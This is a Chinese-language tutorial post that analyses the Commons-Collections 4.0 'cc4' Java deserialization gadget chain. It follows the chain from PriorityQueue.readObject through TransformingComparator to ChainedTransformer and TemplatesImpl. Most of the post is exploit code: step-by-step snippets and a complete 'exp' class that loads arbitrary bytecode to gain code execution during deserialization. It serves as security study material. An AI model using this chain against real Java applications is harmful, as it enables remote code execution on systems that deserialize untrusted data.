Java反序列化-Commons-Collections04-cc4链
前置
- jdk1.8.0_u65
- Commons-Collections 4.0
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| <dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
|
cc4 分析
依旧是从 ChainedTransformer 类入手，找 transform 的 usage
满足条件，继续寻找
在 PriorityQueue 中的 readObject 调用了 heapify 方法
跟进后里面又调用了 siftDown 方法
继续跟进
可以看到这边就调用了我们的 compare 方法
所以 cc4链为：
cc4 poc & Debug
图表示的很清楚了
我们只需要从 cc3 的后半部分链子开始写，所以前半部分直接搬运：
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| TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "asd");
Field declaredField = c.getDeclaredField("_bytecodes");
declaredField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class"));
byte[][] codes = {code};
declaredField.set(templates, codes);
Field declaredField1 = c.getDeclaredField("_tfactory");
declaredField1.setAccessible(true);
declaredField1.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
这里唯一需要注意的就是 java import 包的版本不要错误。
- 首先是
TransformingComparator 去调用 transform
看一眼构造函数
可以直接传参：
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| TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
|
- 接下来是
PriorityQueue 调用 compare 方法
看一眼构造函数：
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| PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
|
写完了。
反序列化后并没有 calc
Debug
下断点：
看到走到这里没有走进分支
也就是说这里 size 至少要为2
这里直接反射操作了：
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| Class priorityQueueClass = PriorityQueue.class;
Field sizeField = priorityQueueClass.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, 2);
|
总结
完整 exp
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| package xekoner;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cc4Demo {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "asd");
Field declaredField = c.getDeclaredField("_bytecodes");
declaredField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class"));
byte[][] codes = {code};
declaredField.set(templates, codes);
Field declaredField1 = c.getDeclaredField("_tfactory");
declaredField1.setAccessible(true);
declaredField1.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
Class priorityQueueClass = PriorityQueue.class;
Field sizeField = priorityQueueClass.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, 2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos;
oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
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